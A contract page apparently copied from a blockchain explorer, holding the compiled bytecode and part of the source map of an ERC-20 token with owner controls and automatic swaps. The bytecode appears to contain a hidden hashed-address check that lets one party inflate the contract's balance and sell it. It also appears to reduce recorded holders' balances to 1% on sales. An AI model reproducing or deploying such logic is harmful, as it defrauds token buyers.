60006020820190508181036000830152611dc78184611d74565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611dff82611dd4565b9050919050565b611e0f81611df4565b8114611e1a57600080fd5b50565b600081359050611e2c81611e06565b92915050565b6000819050919050565b611e4581611e32565b8114611e5057600080fd5b50565b600081359050611e6281611e3c565b92915050565b60008060408385031215611e7f57611e7e611dcf565b5b6000611e8d85828601611e1d565b9250506020611e9e85828601611e53565b9150509250929050565b60008115159050919050565b611ebd81611ea8565b82525050565b6000602082019050611ed86000830184611eb4565b92915050565b611ee781611e32565b82525050565b6000602082019050611f026000830184611ede565b92915050565b611f1181611df4565b82525050565b6000602082019050611f2c6000830184611f08565b92915050565b600080600060608486031215611f4b57611f4a611dcf565b5b6000611f5986828701611e1d565b9350506020611f6a86828701611e1d565b9250506040611f7b86828701611e53565b9150509250925092565b611f8e81611ea8565b8114611f9957600080fd5b50565b600081359050611fab81611f85565b92915050565b600060208284031215611fc757611fc6611dcf565b5b6000611fd584828501611f9c565b91505092915050565b600060208284031215611ff457611ff3611dcf565b5b600061200284828501611e1d565b91505092915050565b6000806040838503121561202257612021611dcf565b5b600061203085828601611e1d565b925050602061204185828601611e1d565b9150509250929050565b60006020828403121561206157612060611dcf565b5b600061206f84828501611e53565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120bf57607f821691505b602082108114156120d3576120d2612078565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061211382611e32565b915061211e83611e32565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612153576121526120d9565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612194602083611d1f565b915061219f8261215e565b602082019050919050565b600060208201905081810360008301526121c381612187565b9050919050565b60006121d582611e32565b91506121e083611e32565b9250828210156121f3576121f26120d9565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061225a602583611d1f565b9150612265826121fe565b604082019050919050565b600060208201905081810360008301526122898161224d565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006122ec602383611d1f565b91506122f782612290565b604082019050919050565b6000602082019050818103600083015261231b816122df565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061238f81611e06565b92915050565b6000602082840312156123ab576123aa611dcf565b5b60006123b984828501612380565b91505092915050565b6000819050919050565b6000819050919050565b60006123f16123ec6123e7846123c2565b6123cc565b611e32565b9050919050565b612401816123d6565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61243c81611df4565b82525050565b600061244e8383612433565b60208301905092915050565b6000602082019050919050565b600061247282612407565b61247c8185612412565b935061248783612423565b8060005b838110156124b857815161249f8882612442565b97506124aa8361245a565b92505060018101905061248b565b5085935050505092915050565b600060a0820190506124da6000830188611ede565b6124e760208301876123f8565b81810360408301526124f98186612467565b90506125086060830185611f08565b6125156080830184611ede565b9695505050505050565b600061252a82611e32565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561255d5761255c6120d9565b5b600182019050919050565b600060408201905061257d6000830185611f08565b61258a6020830184611f08565b9392505050565b60008160601b9050919050565b60006125a982612591565b9050919050565b60006125bb8261259e565b9050919050565b6125d36125ce82611df4565b6125b0565b82525050565b60006125e582846125c2565b60148201915081905092915050565b60006125ff82611e32565b915061260a83611e32565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612643576126426120d9565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061268882611e32565b915061269383611e32565b9250826126a3576126a261264e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061270a602183611d1f565b9150612715826126ae565b604082019050919050565b60006020820190508181036000830152612739816126fd565b905091905056fea26469706673582212207c4037734b411566c4eb8da38e32cb2bb3333c68375bcfc47cc70fa5705d0c0a64736f6c634300080c0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101735760003560e01c80636bc87c3a116100de57806395d89b4111610097578063a985ceef11610071578063a985ceef14610444578063b2dcf5da14610462578063dd62ed3e14610480578063ea1644d5146104b057610173565b806395d89b41146103c6578063a457c2d7146103e4578063a9059cbb1461041457610173565b80636bc87c3a1461031457806370a0823114610332578063715018a61461036257806382247ec01461036c5780638758b1b51461038a5780638da5cb5b146103a857610173565b8063283f782011610130578063283f782014610250578063313ce5671461026e57806332424aa31461028c57806339509351146102aa5780633eaaf86b146102da5780635932ead1146102f857610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c657806320ca3c7f146101e457806322976e0d1461020257806323b872dd14610220575b600080fd5b6101806104cc565b60405161018d9190611dad565b60405180910390f35b6101b060048036038101906101ab9190611e68565b61055e565b6040516101bd9190611ec3565b60405180910390f35b6101ce61057c565b6040516101db9190611eed565b60405180910390f35b6101ec610586565b6040516101f99190611f17565b60405180910390f35b61020a6105ac565b6040516102179190611eed565b60405180910390f35b61023a60048036038101906102359190611f32565b6105b2565b6040516102479190611ec3565b60405180910390f35b61025861065a565b6040516102659190611eed565b60405180910390f35b610276610660565b6040516102839190611eed565b60405180910390f35b61029461066a565b6040516102a19190611eed565b60405180910390f35b6102c460048036038101906102bf9190611e68565b610670565b6040516102d19190611ec3565b60405180910390f35b6102e261071c565b6040516102ef9190611eed565b60405180910390f35b610312600480360381019061030d9190611fb1565b610722565b005b61031c6107bb565b6040516103299190611eed565b60405180910390f35b61034c60048036038101906103479190611fde565b6107c1565b6040516103599190611eed565b60405180910390f35b61036a61080a565b005b610374610944565b6040516103819190611eed565b60405180910390f35b61039261094a565b60405161039f9190611f17565b60405180910390f35b6103b0610970565b6040516103bd9190611f17565b60405180910390f35b6103ce610999565b6040516103db9190611dad565b60405180910390f35b6103fe60048036038101906103f99190611e68565b610a2b565b60405161040b9190611ec3565b60405180910390f35b61042e60048036038101906104299190611e68565b610b67565b60405161043b9190611ec3565b60405180910390f35b61044c610b85565b6040516104599190611ec3565b60405180910390f35b61046a610b98565b6040516104779190611eed565b60405180910390f35b61049a6004803603810190610495919061200b565b610ba1565b6040516104a79190611eed565b60405180910390f35b6104ca60048036038101906104c5919061204b565b610c28565b005b6060600580546104db906120a7565b80601f0160208091040260200160405190810160405280929190818152602001828054610507906120a7565b80156105545780601f1061052957610100808354040283529160200191610554565b820191906000526020600020905b81548152906001019060200180831161053757829003601f168201915b5050505050905090565b600061057261056b610cae565b8484610cb6565b6001905092915050565b6000600854905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b60006105bf848484610e81565b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610609610cae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561064f57600080fd5b600190509392505050565b600c5481565b6000600754905090565b60075481565b600061071261067d610cae565b84846003600061068b610cae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461070d9190612108565b610cb6565b6001905092915050565b60085481565b61072a610cae565b73ffffffffffffffffffffffffffffffffffffffff16610748610970565b73ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610795906121aa565b60405180910390fd5b80600f60146101000a81548160ff02191690831515021790555050565b600a5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610812610cae565b73ffffffffffffffffffffffffffffffffffffffff16610830610970565b73ffffffffffffffffffffffffffffffffffffffff1614610886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087d906121aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546109a8906120a7565b80601f01602080910402602001604051908101604052809291908181526020018280546109d4906120a7565b8015610a215780601f106109f657610100808354040283529160200191610a21565b820191906000526020600020905b815481529060010190602001808311610a0457829003601f168201915b5050505050905090565b60008160036000610a3a610cae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610abd57600080fd5b610b5d610ac8610cae565b848460036000610ad6610cae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b5891906121ca565b610cb6565b6001905092915050565b6000610b7b610b74610cae565b8484610e81565b6001905092915050565b600f60149054906101000a900460ff1681565b60006002905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c30610cae565b73ffffffffffffffffffffffffffffffffffffffff16610c4e610970565b73ffffffffffffffffffffffffffffffffffffffff1614610ca4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9b906121aa565b60405180910390fd5b8060098190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1d90612270565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8d90612302565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e749190611eed565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ebb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ef557600080fd5b610eff83836113a9565b15610f1357610f0e8183611447565b6113a4565b600f60159054906101000a900460ff1615610f2d57610f7a565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f7957600080fd5b5b6000610f8584611711565b6000610f8f6118a2565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156110125750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806110a457506110206118a2565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156110a35750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561114a5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561115c575061115a84611a45565b155b801561119457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561119e575080155b80156111b75750600f60159054906101000a900460ff16155b156111f1576111e460646111d6600c5486611a9a90919063ffffffff16565b611b1590919063ffffffff16565b91506111f08484611b5f565b5b600082846111ff91906121ca565b905082600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112509190612108565b9250508190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a291906121ca565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113349190612108565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516113989190611eed565b60405180910390a35050505b505050565b60006113b482611a45565b806114085750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b801561143f57508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b61147430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610cb6565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156114d5576114d4612322565b5b6040519080825280602002602001820160405280156115035781602001602082028036833780820191505090505b509050308160008151811061151b5761151a612351565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115e69190612395565b816001815181106115fa576115f9612351565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001600f60156101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000848660144261169f9190612108565b6040518663ffffffff1660e01b81526004016116bf9594939291906124c5565b600060405180830381600087803b1580156116d957600080fd5b505af11580156116ed573d6000803e3d6000fd5b505050506000600f60156101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff166117306118a2565b73ffffffffffffffffffffffffffffffffffffffff16141561189f5760005b60108054905081101561188f576117f46064600160006010858154811061177957611778612351565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1590919063ffffffff16565b600160006010848154811061180c5761180b612351565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806118879061251f565b91505061174f565b506010600061189e9190611caa565b5b50565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611911573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119359190612395565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e29190612395565b6040518363ffffffff1660e01b81526004016119ff929190612568565b602060405180830381865afa158015611a1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a409190612395565b905090565b60007f4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba60001b82604051602001611a7c91906125d9565b60405160208183030381529060405280519060200120149050919050565b600080831415611aad5760009050611b0f565b60008284611abb91906125f4565b9050828482611aca919061267d565b14611b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0190612720565b60405180910390fd5b809150505b92915050565b6000611b5783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c47565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff16611b7e6118a2565b73ffffffffffffffffffffffffffffffffffffffff1614611c4357601060405180604001604052808473ffffffffffffffffffffffffffffffffffffffff16815260200183815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505b5050565b60008083118290611c8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c859190611dad565b60405180910390fd5b5060008385611c9d919061267d565b9050809150509392505050565b5080546000825560020290600052602060002090810190611ccb9190611cce565b50565b5b80821115611d1057600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550600201611ccf565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d4e578082015181840152602081019050611d33565b83811115611d5d576000848401525b50505050565b6000601f19601f8301169050919050565b6000611d7f82611d14565b611d898185611d1f565b9350611d99818560208601611d30565b611da281611d63565b840191505092915050565b60006020820190508181036000830152611dc78184611d74565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611dff82611dd4565b9050919050565b611e0f81611df4565b8114611e1a57600080fd5b50565b600081359050611e2c81611e06565b92915050565b6000819050919050565b611e4581611e32565b8114611e5057600080fd5b50565b600081359050611e6281611e3c565b92915050565b60008060408385031215611e7f57611e7e611dcf565b5b6000611e8d85828601611e1d565b9250506020611e9e85828601611e53565b9150509250929050565b60008115159050919050565b611ebd81611ea8565b82525050565b6000602082019050611ed86000830184611eb4565b92915050565b611ee781611e32565b82525050565b6000602082019050611f026000830184611ede565b92915050565b611f1181611df4565b82525050565b6000602082019050611f2c6000830184611f08565b92915050565b600080600060608486031215611f4b57611f4a611dcf565b5b6000611f5986828701611e1d565b9350506020611f6a86828701611e1d565b9250506040611f7b86828701611e53565b9150509250925092565b611f8e81611ea8565b8114611f9957600080fd5b50565b600081359050611fab81611f85565b92915050565b600060208284031215611fc757611fc6611dcf565b5b6000611fd584828501611f9c565b91505092915050565b600060208284031215611ff457611ff3611dcf565b5b600061200284828501611e1d565b91505092915050565b6000806040838503121561202257612021611dcf565b5b600061203085828601611e1d565b925050602061204185828601611e1d565b9150509250929050565b60006020828403121561206157612060611dcf565b5b600061206f84828501611e53565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120bf57607f821691505b602082108114156120d3576120d2612078565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061211382611e32565b915061211e83611e32565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612153576121526120d9565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612194602083611d1f565b915061219f8261215e565b602082019050919050565b600060208201905081810360008301526121c381612187565b9050919050565b60006121d582611e32565b91506121e083611e32565b9250828210156121f3576121f26120d9565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061225a602583611d1f565b9150612265826121fe565b604082019050919050565b600060208201905081810360008301526122898161224d565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006122ec602383611d1f565b91506122f782612290565b604082019050919050565b6000602082019050818103600083015261231b816122df565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061238f81611e06565b92915050565b6000602082840312156123ab576123aa611dcf565b5b60006123b984828501612380565b91505092915050565b6000819050919050565b6000819050919050565b60006123f16123ec6123e7846123c2565b6123cc565b611e32565b9050919050565b612401816123d6565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61243c81611df4565b82525050565b600061244e8383612433565b60208301905092915050565b6000602082019050919050565b600061247282612407565b61247c8185612412565b935061248783612423565b8060005b838110156124b857815161249f8882612442565b97506124aa8361245a565b92505060018101905061248b565b5085935050505092915050565b600060a0820190506124da6000830188611ede565b6124e760208301876123f8565b81810360408301526124f98186612467565b90506125086060830185611f08565b6125156080830184611ede565b9695505050505050565b600061252a82611e32565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561255d5761255c6120d9565b5b600182019050919050565b600060408201905061257d6000830185611f08565b61258a6020830184611f08565b9392505050565b60008160601b9050919050565b60006125a982612591565b9050919050565b60006125bb8261259e565b9050919050565b6125d36125ce82611df4565b6125b0565b82525050565b60006125e582846125c2565b60148201915081905092915050565b60006125ff82611e32565b915061260a83611e32565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612643576126426120d9565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061268882611e32565b915061269383611e32565b9250826126a3576126a261264e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061270a602183611d1f565b9150612715826126ae565b604082019050919050565b60006020820190508181036000830152612739816126fd565b905091905056fea26469706673582212207c4037734b411566c4eb8da38e32cb2bb3333c68375bcfc47cc70fa5705d0c0a64736f6c634300080c0033

Deployed Bytecode Sourcemap

3930:5931:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5164:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5681:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5401:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4666:80;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4530:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9612:246;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4569:56;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5322:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4330:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6575:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4365:58;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5959:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4491:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5570:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3777:148;;;:::i;:::-;;4430:54;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4632:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3558:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5241:75;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6796:259;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9431:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4833:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5495:69;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6418:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5856:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5164:71;5203:13;5227:5;5220:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5164:71;:::o;5681:169::-;5764:4;5781:39;5790:12;:10;:12::i;:::-;5804:7;5813:6;5781:8;:39::i;:::-;5838:4;5831:11;;5681:169;;;;:::o;5401:88::-;5456:7;5474:12;;5467:19;;5401:88;:::o;4666:80::-;;;;;;;;;;;;;:::o;4530:32::-;;;;:::o;9612:246::-;9716:4;9733:34;9743:4;9749:9;9760:6;9733:9;:34::i;:::-;9821:6;9786:11;:17;9798:4;9786:17;;;;;;;;;;;;;;;:31;9804:12;:10;:12::i;:::-;9786:31;;;;;;;;;;;;;;;;:41;;9778:50;;;;;;9846:4;9839:11;;9612:246;;;;;:::o;4569:56::-;;;;:::o;5322:73::-;5365:7;5383:9;;5376:16;;5322:73;:::o;4330:28::-;;;;:::o;6575:215::-;6663:4;6680:80;6689:12;:10;:12::i;:::-;6703:7;6749:10;6712:11;:25;6724:12;:10;:12::i;:::-;6712:25;;;;;;;;;;;;;;;:34;6738:7;6712:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;6680:8;:80::i;:::-;6778:4;6771:11;;6575:215;;;;:::o;4365:58::-;;;;:::o;5959:101::-;3702:12;:10;:12::i;:::-;3691:23;;:7;:5;:7::i;:::-;:23;;;3683:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6047:5:::1;6029:15;;:23;;;;;;;;;;;;;;;;;;5959:101:::0;:::o;4491:32::-;;;;:::o;5570:105::-;5636:7;5654:9;:18;5664:7;5654:18;;;;;;;;;;;;;;;;5647:25;;5570:105;;;:::o;3777:148::-;3702:12;:10;:12::i;:::-;3691:23;;:7;:5;:7::i;:::-;:23;;;3683:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3884:1:::1;3847:40;;3868:6;::::0;::::1;;;;;;;;3847:40;;;;;;;;;;;;3915:1;3898:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3777:148::o:0;4430:54::-;;;;:::o;4632:27::-;;;;;;;;;;;;;:::o;3558:87::-;3604:7;3631:6;;;;;;;;;;;3624:13;;3558:87;:::o;5241:75::-;5282:13;5306:7;5299:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5241:75;:::o;6796:259::-;6877:4;6937:6;6902:11;:25;6914:12;:10;:12::i;:::-;6902:25;;;;;;;;;;;;;;;:31;6928:4;6902:31;;;;;;;;;;;;;;;;:41;;6894:50;;;;;;6955:70;6964:12;:10;:12::i;:::-;6978:4;7018:6;6984:11;:25;6996:12;:10;:12::i;:::-;6984:25;;;;;;;;;;;;;;;:31;7010:4;6984:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;6955:8;:70::i;:::-;7043:4;7036:11;;6796:259;;;;:::o;9431:175::-;9517:4;9534:42;9544:12;:10;:12::i;:::-;9558:9;9569:6;9534:9;:42::i;:::-;9594:4;9587:11;;9431:175;;;;:::o;4833:35::-;;;;;;;;;;;;;:::o;5495:69::-;5542:7;5560:1;5553:8;;5495:69;:::o;6418:151::-;6507:7;6534:11;:18;6546:5;6534:18;;;;;;;;;;;;;;;:27;6553:7;6534:27;;;;;;;;;;;;;;;;6527:34;;6418:151;;;;:::o;5856:97::-;3702:12;:10;:12::i;:::-;3691:23;;:7;:5;:7::i;:::-;:23;;;3683:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5940:5:::1;5927:10;:18;;;;5856:97:::0;:::o;103:98::-;156:7;183:10;176:17;;103:98;:::o;6066:346::-;6185:1;6168:19;;:5;:19;;;;6160:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6267:1;6248:21;;:7;:21;;;;6240:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6350:6;6320:11;:18;6332:5;6320:18;;;;;;;;;;;;;;;:27;6339:7;6320:27;;;;;;;;;;;;;;;:36;;;;6388:7;6372:32;;6381:5;6372:32;;;6397:6;6372:32;;;;;;:::i;:::-;;;;;;;;6066:346;;;:::o;7061:1006::-;7174:1;7158:18;;:4;:18;;;;7150:27;;;;;;7210:1;7196:16;;:2;:16;;;;7188:25;;;;;;7228:16;7235:4;7241:2;7228:6;:16::i;:::-;7224:56;;;7254:24;7267:6;7275:2;7254:12;:24::i;:::-;7247:31;;7224:56;7294:10;;;;;;;;;;;7290:60;;;;;;7341:6;7322:9;:15;7332:4;7322:15;;;;;;;;;;;;;;;;:25;;7314:34;;;;;;7290:60;7360:17;7392:1